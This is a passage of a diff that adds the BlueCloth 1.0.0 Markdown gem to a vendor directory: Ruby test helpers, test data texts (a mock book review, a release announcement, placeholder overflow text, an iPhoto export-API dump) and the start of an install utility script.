|
||||
def printTestHeader( desc )
|
||||
return unless $VERBOSE || $DEBUG
|
||||
message ">>> %s <<<" % desc
|
||||
end
|
||||
|
||||
|
||||
### Try to force garbage collection to start.
|
||||
def collectGarbage
|
||||
a = []
|
||||
1000.times { a << {} }
|
||||
a = nil
|
||||
GC.start
|
||||
end
|
||||
|
||||
|
||||
### Output the name of the test as it's running if in verbose mode.
|
||||
def run( result )
|
||||
$stderr.puts self.name if $VERBOSE || $DEBUG
|
||||
|
||||
# Support debugging for individual tests
|
||||
olddb = nil
|
||||
if $DebugPattern && $DebugPattern =~ @method_name
|
||||
olddb = $DEBUG
|
||||
$DEBUG = true
|
||||
end
|
||||
|
||||
super
|
||||
|
||||
$DEBUG = olddb unless olddb.nil?
|
||||
end
|
||||
|
||||
|
||||
#############################################################
|
||||
### E X T R A A S S E R T I O N S
|
||||
#############################################################
|
||||
|
||||
### Negative of assert_respond_to
|
||||
def assert_not_respond_to( obj, meth )
|
||||
msg = "%s expected NOT to respond to '%s'" %
|
||||
[ obj.inspect, meth ]
|
||||
assert_block( msg ) {
|
||||
!obj.respond_to?( meth )
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the instance variable specified by +sym+ of an +object+
|
||||
### is equal to the specified +value+. The '@' at the beginning of the
|
||||
### +sym+ will be prepended if not present.
|
||||
def assert_ivar_equal( value, object, sym )
|
||||
sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
|
||||
msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
|
||||
[ sym, object.inspect, value.inspect ]
|
||||
msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
|
||||
assert_block( msg ) {
|
||||
value == object.instance_variable_get(sym)
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Assert that the specified +object+ has an instance variable which
|
||||
### matches the specified +sym+. The '@' at the beginning of the +sym+
|
||||
### will be prepended if not present.
|
||||
def assert_has_ivar( sym, object )
|
||||
sym = "@#{sym}" unless /^@/ =~ sym.to_s
|
||||
msg = "Object <%s> expected to have an instance variable <%s>" %
|
||||
[ object.inspect, sym ]
|
||||
assert_block( msg ) {
|
||||
object.instance_variables.include?( sym.to_s )
|
||||
}
|
||||
end
|
||||
|
||||
end # class TestCase
|
||||
|
||||
end # class BlueCloth
|
||||
|
||||
34
vendor/gems/BlueCloth-1.0.0/tests/data/antsugar.txt
vendored
Normal file
34
vendor/gems/BlueCloth-1.0.0/tests/data/antsugar.txt
vendored
Normal file
@@ -0,0 +1,34 @@
|
||||
The Ant-Sugar Tales
|
||||
===================
|
||||
|
||||
By Candice Yellowflower
|
||||
|
||||
The _Ant-Sugar Tales_ is a collection of short stories told from the
|
||||
perspective of a fine young lady from [Venice][1], who has some run-ins
|
||||
with a few [inquisitive insects][2]. Each tale presents a moral quandry,
|
||||
which the ants are quick to solve with their antly wisdom and
|
||||
know-how. Some of the moral lessons presented are:
|
||||
|
||||
* Laundry: How not to get caught in soiled knickers.
|
||||
* Used Ticket Stubs and Their Impact on the Universe
|
||||
* I'm Keeping a Birdhouse in my Attic
|
||||
|
||||
Use of Metaphor
|
||||
---------------
|
||||
|
||||
The author's splended use of metaphor can be attributed to her growing
|
||||
up in a art-supply store. Her characters are richly outlined, but her
|
||||
unusual descriptions can sometimes be a bit jarring in places, such as
|
||||
her description of the old caretaker that lives inside a hollow tree in
|
||||
her yard:
|
||||
|
||||
> His skin was smooth like Magnani Pescia 100% acid-free cold pressed
|
||||
> 22x30" Soft White Paper, with fine hair like the bristles of a Habico
|
||||
> Lasur Superb Oil Glazing Brush Size 10.
|
||||
|
||||
|
||||
[1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3
|
||||
(Venice: The Grand Canal)
|
||||
[2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html
|
||||
|
||||
|
||||
17
vendor/gems/BlueCloth-1.0.0/tests/data/ml-announce.txt
vendored
Normal file
17
vendor/gems/BlueCloth-1.0.0/tests/data/ml-announce.txt
vendored
Normal file
@@ -0,0 +1,17 @@
|
||||
Hi,
|
||||
|
||||
I'd like to announce the alpha release of a Markdown library for [Ruby][1]
|
||||
called "BlueCloth". It's mostly a direct port of the most recent Perl version,
|
||||
minus the various plugin hooks and whatnot.
|
||||
|
||||
More information can be found on [the project page][2], or feel free to ask me
|
||||
directly. I don't have much in the way of a demo yet, but will be working on
|
||||
getting something set up in the coming days.
|
||||
|
||||
[1]: http://www.ruby-lang.org/
|
||||
[2]: http://bluecloth.rubyforge.org/
|
||||
|
||||
--
|
||||
Michael Granger <ged@FaerieMUD.org>
|
||||
Rubymage, Believer, Architect
|
||||
The FaerieMUD Consortium <http://www.FaerieMUD.org/>
|
||||
67
vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow.txt
vendored
Normal file
67
vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow.txt
vendored
Normal file
@@ -0,0 +1,67 @@
|
||||
* xx xxxxxxx xx xxxxxx.
|
||||
|
||||
* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx:
|
||||
|
||||
* xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx
|
||||
xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx
|
||||
xxx xx xxxxxxxxx xx xxxx.
|
||||
|
||||
xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx
|
||||
xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx.
|
||||
|
||||
* xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx
|
||||
xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx
|
||||
xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx.
|
||||
|
||||
xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx)
|
||||
xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx
|
||||
xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx.
|
||||
|
||||
xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx
|
||||
xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx,
|
||||
xxxx xx xxxxxx xxx xxxx.
|
||||
|
||||
* xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx
|
||||
xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx
|
||||
xxxxxx xxx-xxxx xxxxx.
|
||||
|
||||
xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx.
|
||||
|
||||
* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx
|
||||
xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx
|
||||
xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx
|
||||
xx xxx xxxxxxxxx xxxx-xxx.
|
||||
|
||||
* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx
|
||||
xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx
|
||||
xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx.
|
||||
|
||||
* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx
|
||||
xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx.
|
||||
|
||||
x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx
|
||||
xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx
|
||||
xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx:
|
||||
|
||||
* xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx
|
||||
xxxxxxxxxx).
|
||||
|
||||
* xxxxxxxxxxx xx xxxx xxxxxxx xxx.
|
||||
|
||||
* xxxx xx xxxxx xxxxxxx xx xxx xxxxxx.
|
||||
|
||||
* xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx.
|
||||
|
||||
* xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx.
|
||||
|
||||
* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx
|
||||
xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx
|
||||
xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx.
|
||||
|
||||
* xx x xxxxx xxxx:
|
||||
|
||||
* xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx,
|
||||
xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx,
|
||||
xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx
|
||||
-- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx
|
||||
xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx.
|
||||
281
vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow2.txt
vendored
Normal file
281
vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow2.txt
vendored
Normal file
@@ -0,0 +1,281 @@
|
||||
<strong>iFotobilder</strong> will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto.
|
||||
|
||||
## Getting Started
|
||||
|
||||
Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this.
|
||||
|
||||
Here's what I found:
|
||||
|
||||
* [Writing Plugins for Cocoa][1]
|
||||
|
||||
[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html
|
||||
|
||||
## The iPhoto Export API
|
||||
|
||||
Using the `class-dump` tool, I dumped the export API:
|
||||
|
||||
/*
|
||||
* Generated by class-dump 3.0.
|
||||
*
|
||||
* class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard.
|
||||
*/
|
||||
|
||||
/*
|
||||
* File: /Applications/iPhoto.app/Contents/MacOS/iPhoto
|
||||
*/
|
||||
|
||||
@protocol ExportImageProtocol
|
||||
- (unsigned int)imageCount;
|
||||
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20;
|
||||
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
|
||||
- (unsigned int)imageFormatAtIndex:(unsigned int)fp16;
|
||||
- (id)imageCaptionAtIndex:(unsigned int)fp16;
|
||||
- (id)imagePathAtIndex:(unsigned int)fp16;
|
||||
- (id)thumbnailPathAtIndex:(unsigned int)fp16;
|
||||
- (id)imageDictionaryAtIndex:(unsigned int)fp16;
|
||||
- (float)imageAspectRatioAtIndex:(unsigned int)fp16;
|
||||
- (id)albumName;
|
||||
- (id)albumMusicPath;
|
||||
- (unsigned int)albumCount;
|
||||
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16;
|
||||
- (id)window;
|
||||
- (void)enableControls;
|
||||
- (void)disableControls;
|
||||
- (void)clickExport;
|
||||
- (void)startExport;
|
||||
- (void)cancelExport;
|
||||
- (void)cancelExportBeforeBeginning;
|
||||
- (id)directoryPath;
|
||||
- (id)temporaryDirectory;
|
||||
- (BOOL)doesFileExist:(id)fp16;
|
||||
- (BOOL)doesDirectoryExist:(id)fp16;
|
||||
- (BOOL)createDir:(id)fp16;
|
||||
- (id)uniqueSubPath:(id)fp12 child:(id)fp20;
|
||||
- (id)makeUniquePath:(id)fp16;
|
||||
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20;
|
||||
- (id)makeUniqueFileNameWithTime:(id)fp16;
|
||||
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20;
|
||||
- (id)pathForFSSpec:(id)fp16;
|
||||
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27;
|
||||
- (id)pathForFSRef:(struct FSRef *)fp16;
|
||||
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23;
|
||||
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23;
|
||||
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27;
|
||||
- (BOOL)isAliasFileAtPath:(id)fp16;
|
||||
- (id)pathContentOfAliasAtPath:(id)fp16;
|
||||
- (id)stringByResolvingAliasesInPath:(id)fp16;
|
||||
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20;
|
||||
- (id)validFilename:(id)fp16;
|
||||
- (id)getExtensionForImageFormat:(unsigned int)fp16;
|
||||
- (unsigned int)getImageFormatForExtension:(id)fp16;
|
||||
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32;
|
||||
- (void *)createThumbnailer;
|
||||
- (void *)retainThumbnailer:(void *)fp16;
|
||||
- (void *)autoreleaseThumbnailer:(void *)fp16;
|
||||
- (void)releaseThumbnailer:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32;
|
||||
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 quality:(int)fp20;
|
||||
- (int)thumbnailerQuality:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 rotation:(float)fp20;
|
||||
- (float)thumbnailerRotation:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20;
|
||||
- (unsigned int)thumbnailerOutputFormat:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20;
|
||||
- (id)thumbnailerOutputExtension:(void *)fp16;
|
||||
- (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28;
|
||||
- (struct _NSSize)lastImageSize:(void *)fp20;
|
||||
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
|
||||
@end
|
||||
|
||||
@protocol ExportPluginBoxProtocol
|
||||
- (BOOL)performKeyEquivalent:(id)fp16;
|
||||
@end
|
||||
|
||||
@protocol ExportPluginProtocol
|
||||
- (id)initWithExportImageObj:(id)fp16;
|
||||
- (id)settingsView;
|
||||
- (id)firstView;
|
||||
- (id)lastView;
|
||||
- (void)viewWillBeActivated;
|
||||
- (void)viewWillBeDeactivated;
|
||||
- (id)requiredFileType;
|
||||
- (BOOL)wantsDestinationPrompt;
|
||||
- (id)getDestinationPath;
|
||||
- (id)defaultFileName;
|
||||
- (id)defaultDirectory;
|
||||
- (BOOL)treatSingleSelectionDifferently;
|
||||
- (BOOL)validateUserCreatedPath:(id)fp16;
|
||||
- (void)clickExport;
|
||||
- (void)startExport:(id)fp16;
|
||||
- (void)performExport:(id)fp16;
|
||||
- (CDAnonymousStruct12 *)progress;
|
||||
- (void)lockProgress;
|
||||
- (void)unlockProgress;
|
||||
- (void)cancelExport;
|
||||
- (id)name;
|
||||
- (id)description;
|
||||
@end
|
||||
|
||||
@interface ExportController : NSObject
|
||||
{
|
||||
id mWindow;
|
||||
id mExportView;
|
||||
id mExportButton;
|
||||
id mImageCount;
|
||||
ExportMgr *mExportMgr;
|
||||
ExportMgrRec *mCurrentPluginRec;
|
||||
ProgressController *mProgressController;
|
||||
BOOL mCancelExport;
|
||||
NSTimer *mTimer;
|
||||
NSString *mDirectoryPath;
|
||||
}
|
||||
|
||||
- (void)awakeFromNib;
|
||||
- (void)dealloc;
|
||||
- (id)currentPlugin;
|
||||
- (id)currentPluginRec;
|
||||
- (void)setCurrentPluginRec:(id)fp12;
|
||||
- (id)directoryPath;
|
||||
- (void)setDirectoryPath:(id)fp12;
|
||||
- (void)show;
|
||||
- (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20;
|
||||
- (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20;
|
||||
- (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16;
|
||||
- (BOOL)panel:(id)fp12 isValidFilename:(id)fp16;
|
||||
- (BOOL)filesWillFitOnDisk;
|
||||
- (void)export:(id)fp12;
|
||||
- (void)_exportThread:(id)fp12;
|
||||
- (void)_exportProgress:(id)fp12;
|
||||
- (void)startExport:(id)fp12;
|
||||
- (void)finishExport;
|
||||
- (void)cancelExport;
|
||||
- (void)cancel:(id)fp12;
|
||||
- (void)enableControls;
|
||||
- (id)window;
|
||||
- (void)disableControls;
|
||||
- (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16;
|
||||
- (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16;
|
||||
- (void)selectExporter:(id)fp12;
|
||||
- (id)exportView;
|
||||
- (BOOL)_hasPlugins;
|
||||
- (void)_resizeExporterToFitView:(id)fp12;
|
||||
- (void)_updateImageCount;
|
||||
|
||||
@end
|
||||
|
||||
@interface ExportMgr : NSObject <ExportImageProtocol>
|
||||
{
|
||||
ArchiveDocument *mDocument;
|
||||
NSMutableArray *mExporters;
|
||||
Album *mExportAlbum;
|
||||
NSArray *mSelection;
|
||||
ExportController *mExportController;
|
||||
}
|
||||
|
||||
+ (id)exportMgr;
|
||||
+ (id)exportMgrNoAlloc;
|
||||
- (id)init;
|
||||
- (void)dealloc;
|
||||
- (void)releasePlugins;
|
||||
- (void)setExportController:(id)fp12;
|
||||
- (id)exportController;
|
||||
- (void)setDocument:(id)fp12;
|
||||
- (id)document;
|
||||
- (void)updateDocumentSelection;
|
||||
- (unsigned int)count;
|
||||
- (id)recAtIndex:(unsigned int)fp12;
|
||||
- (void)scanForExporters;
|
||||
- (unsigned int)imageCount;
|
||||
- (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12;
|
||||
- (id)imagePathAtIndex:(unsigned int)fp12;
|
||||
- (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
|
||||
- (unsigned int)imageFormatAtIndex:(unsigned int)fp12;
|
||||
- (id)imageCaptionAtIndex:(unsigned int)fp12;
|
||||
- (id)thumbnailPathAtIndex:(unsigned int)fp12;
|
||||
- (id)imageDictionaryAtIndex:(unsigned int)fp12;
|
||||
- (float)imageAspectRatioAtIndex:(unsigned int)fp12;
|
||||
- (id)albumName;
|
||||
- (id)albumMusicPath;
|
||||
- (unsigned int)albumCount;
|
||||
- (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12;
|
||||
- (id)imageRecAtIndex:(unsigned int)fp12;
|
||||
- (id)currentAlbum;
|
||||
- (void)enableControls;
|
||||
- (void)disableControls;
|
||||
- (id)window;
|
||||
- (void)clickExport;
|
||||
- (void)startExport;
|
||||
- (void)cancelExport;
|
||||
- (void)cancelExportBeforeBeginning;
|
||||
- (id)directoryPath;
|
||||
- (void)_copySelection:(id)fp12;
|
||||
- (id)temporaryDirectory;
|
||||
- (BOOL)doesFileExist:(id)fp12;
|
||||
- (BOOL)doesDirectoryExist:(id)fp12;
|
||||
- (BOOL)createDir:(id)fp12;
|
||||
- (id)uniqueSubPath:(id)fp12 child:(id)fp16;
|
||||
- (id)makeUniquePath:(id)fp12;
|
||||
- (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16;
|
||||
- (id)makeUniqueFileNameWithTime:(id)fp12;
|
||||
- (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16;
|
||||
- (id)pathForFSSpec:(id)fp12;
|
||||
- (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20;
|
||||
- (id)pathForFSRef:(struct FSRef *)fp12;
|
||||
- (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16;
|
||||
- (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16;
|
||||
- (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20;
|
||||
- (BOOL)isAliasFileAtPath:(id)fp12;
|
||||
- (id)pathContentOfAliasAtPath:(id)fp12;
|
||||
- (id)stringByResolvingAliasesInPath:(id)fp12;
|
||||
- (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16;
|
||||
- (id)validFilename:(id)fp12;
|
||||
- (id)getExtensionForImageFormat:(unsigned int)fp12;
|
||||
- (unsigned int)getImageFormatForExtension:(id)fp12;
|
||||
- (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36;
|
||||
- (void *)createThumbnailer;
|
||||
- (void *)retainThumbnailer:(void *)fp12;
|
||||
- (void *)autoreleaseThumbnailer:(void *)fp12;
|
||||
- (void)releaseThumbnailer:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24;
|
||||
- (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
|
||||
- (void)setThumbnailer:(void *)fp12 quality:(int)fp16;
|
||||
- (int)thumbnailerQuality:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 rotation:(float)fp36;
|
||||
- (float)thumbnailerRotation:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16;
|
||||
- (unsigned int)thumbnailerOutputFormat:(void *)fp12;
|
||||
- (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16;
|
||||
- (id)thumbnailerOutputExtension:(void *)fp12;
|
||||
- (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20;
|
||||
- (struct _NSSize)lastImageSize:(void *)fp16;
|
||||
- (struct _NSSize)lastThumbnailSize:(void *)fp16;
|
||||
|
||||
@end
|
||||
|
||||
@interface ExportMgrRec : NSObject
|
||||
{
|
||||
NSString *mPath;
|
||||
NSBundle *mBundle;
|
||||
id mPlugin;
|
||||
struct _NSSize mViewSize;
|
||||
}
|
||||
|
||||
- (void)dealloc;
|
||||
- (BOOL)isEqual:(id)fp12;
|
||||
- (id)description;
|
||||
- (id)initWithPath:(id)fp12;
|
||||
- (id)path;
|
||||
- (id)bundle;
|
||||
- (id)bundleInfo;
|
||||
- (BOOL)isValidExportPlugin;
|
||||
- (BOOL)loadPlugin;
|
||||
- (id)exportPlugin;
|
||||
- (void)unloadPlugin;
|
||||
- (id)view;
|
||||
- (struct _NSSize)viewSize;
|
||||
- (void)setPath:(id)fp12;
|
||||
- (void)setBundle:(id)fp12;
|
||||
|
||||
@end
|
||||
|
||||
553
vendor/gems/BlueCloth-1.0.0/utils.rb
vendored
Normal file
553
vendor/gems/BlueCloth-1.0.0/utils.rb
vendored
Normal file
@@ -0,0 +1,553 @@
|
||||
#
|
||||
# Install/distribution utility functions
|
||||
# $Id: utils.rb,v 1.5 2004/01/18 19:15:18 deveiant Exp $
|
||||
#
|
||||
# Copyright (c) 2001-2004, The FaerieMUD Consortium.
|
||||
#
|
||||
# This is free software. You may use, modify, and/or redistribute this
|
||||
# software under the terms of the Perl Artistic License. (See
|
||||
# http://language.perl.com/misc/Artistic.html)
|
||||
#
|
||||
|
||||
|
||||
BEGIN {
|
||||
require 'find'
|
||||
|
||||
begin
|
||||
require 'readline'
|
||||
include Readline
|
||||
rescue LoadError => e
|
||||
$stderr.puts "Faking readline..."
|
||||
def readline( prompt )
|
||||
$stderr.print prompt.chomp
|
||||
return $stdin.gets.chomp
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
class File
|
||||
Win32Exts = %w{.exe .com .bat}
|
||||
|
||||
def self::which( prog, path=ENV['PATH'] )
|
||||
path.split(File::PATH_SEPARATOR).each {|dir|
|
||||
# If running under Windows, look for prog + extensions
|
||||
if File::ALT_SEPARATOR
|
||||
ext = Win32Exts.find_all {|ext|
|
||||
f = File::join(dir, prog+ext)
|
||||
File::executable?(f) && !File::directory?(f)
|
||||
}
|
||||
ext.each {|f|
|
||||
f = File::join( dir, prog + f ).gsub(%r:/:,'\\')
|
||||
if block_given? then yield( f ) else return f end
|
||||
}
|
||||
else
|
||||
f = File::join( dir, prog )
|
||||
if File::executable?( f ) && ! File::directory?( f )
|
||||
if block_given? then yield(f) else return f end
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
module UtilityFunctions
|
||||
|
||||
# The list of regexen that eliminate files from the MANIFEST
|
||||
ANTIMANIFEST = [
|
||||
/makedist\.rb/,
|
||||
/\bCVS\b/,
|
||||
/~$/,
|
||||
/^#/,
|
||||
%r{docs/html},
|
||||
%r{docs/man},
|
||||
/\bTEMPLATE\.\w+\.tpl\b/,
|
||||
/\.cvsignore/,
|
||||
/\.s?o$/,
|
||||
]
|
||||
AMRegexp = Regexp::union( *ANTIMANIFEST )
|
||||
|
||||
# Set some ANSI escape code constants (Shamelessly stolen from Perl's
|
||||
# Term::ANSIColor by Russ Allbery <rra@stanford.edu> and Zenin <zenin@best.com>
|
||||
AnsiAttributes = {
|
||||
'clear' => 0,
|
||||
'reset' => 0,
|
||||
'bold' => 1,
|
||||
'dark' => 2,
|
||||
'underline' => 4,
|
||||
'underscore' => 4,
|
||||
'blink' => 5,
|
||||
'reverse' => 7,
|
||||
'concealed' => 8,
|
||||
|
||||
'black' => 30, 'on_black' => 40,
|
||||
'red' => 31, 'on_red' => 41,
|
||||
'green' => 32, 'on_green' => 42,
|
||||
'yellow' => 33, 'on_yellow' => 43,
|
||||
'blue' => 34, 'on_blue' => 44,
|
||||
'magenta' => 35, 'on_magenta' => 45,
|
||||
'cyan' => 36, 'on_cyan' => 46,
|
||||
'white' => 37, 'on_white' => 47
|
||||
}
|
||||
|
||||
ErasePreviousLine = "\033[A\033[K"
|
||||
|
||||
|
||||
###############
|
||||
module_function
|
||||
###############
|
||||
|
||||
# Create a string that contains the ANSI codes specified and return it
|
||||
def ansiCode( *attributes )
|
||||
return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM']
|
||||
attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';')
|
||||
if attr.empty?
|
||||
return ''
|
||||
else
|
||||
return "\e[%sm" % attr
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Test for the presence of the specified <tt>library</tt>, and output a
|
||||
# message describing the test using <tt>nicename</tt>. If <tt>nicename</tt>
|
||||
# is <tt>nil</tt>, the value in <tt>library</tt> is used to build a default.
|
||||
def testForLibrary( library, nicename=nil )
|
||||
nicename ||= library
|
||||
message( "Testing for the #{nicename} library..." )
|
||||
found = false
|
||||
|
||||
begin
|
||||
require library
|
||||
rescue LoadError => err
|
||||
message "no found (%s)\n" % err.message
|
||||
else
|
||||
message "found\n"
|
||||
found = true
|
||||
end
|
||||
|
||||
return found
|
||||
end
|
||||
|
||||
|
||||
# Test for the presence of the specified <tt>library</tt>, and output a
|
||||
# message describing the problem using <tt>nicename</tt>. If
|
||||
# <tt>nicename</tt> is <tt>nil</tt>, the value in <tt>library</tt> is used
|
||||
# to build a default. If <tt>raaUrl</tt> and/or <tt>downloadUrl</tt> are
|
||||
# specified, they are also use to build a message describing how to find the
|
||||
# required library. If <tt>fatal</tt> is <tt>true</tt>, a missing library
|
||||
# will cause the program to abort.
|
||||
def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true )
|
||||
nicename ||= library
|
||||
unless testForLibrary( library, nicename )
|
||||
msgs = [ "You are missing the required #{nicename} library.\n" ]
|
||||
msgs << "RAA: #{raaUrl}\n" if raaUrl
|
||||
msgs << "Download: #{downloadUrl}\n" if downloadUrl
|
||||
if fatal
|
||||
abort msgs.join('')
|
||||
else
|
||||
errorMessage msgs.join('')
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
### Output <tt>msg</tt> as a ANSI-colored program/section header (white on
|
||||
### blue).
|
||||
def header( msg )
|
||||
msg.chomp!
|
||||
$stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
### Output <tt>msg</tt> to STDERR and flush it.
|
||||
def message( msg )
|
||||
$stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' )
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
### Output the specified <tt>msg</tt> as an ANSI-colored error message
|
||||
### (white on red).
|
||||
def errorMessage( msg )
|
||||
